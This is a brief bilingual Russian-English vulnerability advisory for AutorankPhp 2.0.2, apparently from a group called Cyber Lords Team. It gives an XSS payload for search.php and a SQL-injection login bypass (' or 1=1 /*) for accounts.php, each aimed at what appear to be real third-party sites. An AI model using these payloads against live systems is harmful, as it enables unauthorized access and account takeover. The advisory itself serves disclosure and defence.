SQL-Injection in AutorankPhp 2.0.2

Advisory: SQL-Injection in AutorankPhp 2.0.2

Уязвимость/Vulnerability:
Межсайтовый скриптинг/Cross Site Scripting

Уязвимый скрипт/Vulnerable script: search.php

Exploit:

http://www.teifa.net/rank/search.php?key=<script>alert()</script>&cat=Overall

Уязвимость/Vulnerability:
SQL-injection

Уязвимый скрипт/Vulnerable script: accounts.php

Exploit:

http://www.top48hours.com/autorankphp/accounts.php?login
Login - admin
Password - ' or 1=1 /*

Cyber Lords Team
www.cyberlords.net